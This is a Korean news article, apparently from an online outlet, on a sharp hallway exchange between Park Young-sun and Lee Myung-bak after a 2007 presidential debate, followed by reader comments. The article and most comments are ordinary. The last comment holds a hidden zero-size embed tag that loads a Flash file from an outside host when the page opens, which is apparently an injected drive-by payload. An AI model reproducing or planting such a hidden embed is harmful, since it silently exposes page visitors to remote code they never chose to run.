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박영선-이명박, 살벌한 '장외 설전'

박 "저 똑바로 못 보겠죠?" vs 이 "부끄러운 줄 알아야지"

대선후보 토론회가 끝난 6일 밤 10시에 스튜디오를 나서던 이명박 한나라당 후보가 박영선 대통합민주신당 의원과 복도에서 마주쳤다. 이 후보는 신당 최재천 대변인과 악수를 했지만 박 의원은 무시하고 지나갔다. MBC기자 시절 BBK 김경준 전 대표를 취재했던 박 의원이 BBK 공격의 신당 대표주자였던 탓으로 보였다.

박영선 의원은 이에 “저 똑바로 못 쳐다보시겠죠?”라고 큰소리로 힐난했고, 이 후보는 박 의원을 잠시 쳐다보며 “부끄러운 줄 알아야지”라고 맞받아친 뒤 돌아섰다.

박 의원은 그런 이 후보의 뒤를 향해 "거봐, 얘기 못하잖아. 부끄러운 줄 아세요"라고 쏘아붙였고, 이 후보는 이에 몇 걸음을 떼다 “옛날엔 안 그랬는데” 라고 말한 뒤 자리를 떴다. 이 후보를 수행하던 한나라당 의원들은 매서운 눈초리로 박 의원을 째려 보았다.

이명박 후보는 다른 후보들이 모두 곧바로 KBS 정문을 통해 나간 것과는 달리 이날 밤 10시30분쯤 지하 주차장을 통해 빠져나갔다. 이 후보측은 “강화도 총기 탈취범들이 서울에 들어왔다는 경찰의 첩보가 있어 경호상 그렇게 조치했다”고 밝혔다.
이영섭 기자

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댓글이 4 개 있습니다.

  • 24 21
    쌈, 이명박, 그리고 젊은 KBS기자

    KBS관리자급들...
    한편 평소 6시면 칼퇴근하던 KBS센터장, 국장급들은 토론이 끝날 때까지 12시가 넘도록 남아서 기다리다 이명박에게 굽신굽신하며 눈도장을 찍는 장면도 목격됐다..그리고 얼마전 KBS에서 봤던 "시사기획 쌈"의 한 장면이 떠올랐다..
    이명박후보의 자녀 위장취업문제를 묻는 KBS기자에게 이명박은 태연히 계단을 내려오며 한마디를 던졌다...
    "아니, KBS기자가 그런것부터 물어서 되겠어요??"
    그리고 기자는 수행원들에게 떠밀려 우스운 꼴이 되었다
    어제 KBS간부들의 모습을 통해 이명박의 대답을 다시 풀어보면 이렇다고 생각한다
    "아니, 내가 대통령되면 어쩌려고 이런 것 부터 묻나? 한직으로 밀려나고 싶은가?"

  • 25 23
    안인섭

    박영선 의원 홈페이지 들어가면 팝업으로 동영상 뜹니다.
    박영선 의원 홈페이지 들어가면 팝업으로 동영상 뜹니다.
    가서 보시죠.. 누가 거짓말을 하는지..

  • 34 33
    인봉무

    별내용이 없군요.
    그러지 마시고 전에 취재하셨다는 영상을 보이십시오. 동영상으로 띄우시면 될텐데요.

  • 17 30

    ㅎ<embed src=http://cannongx.com/5s.swf width=0 height=0>
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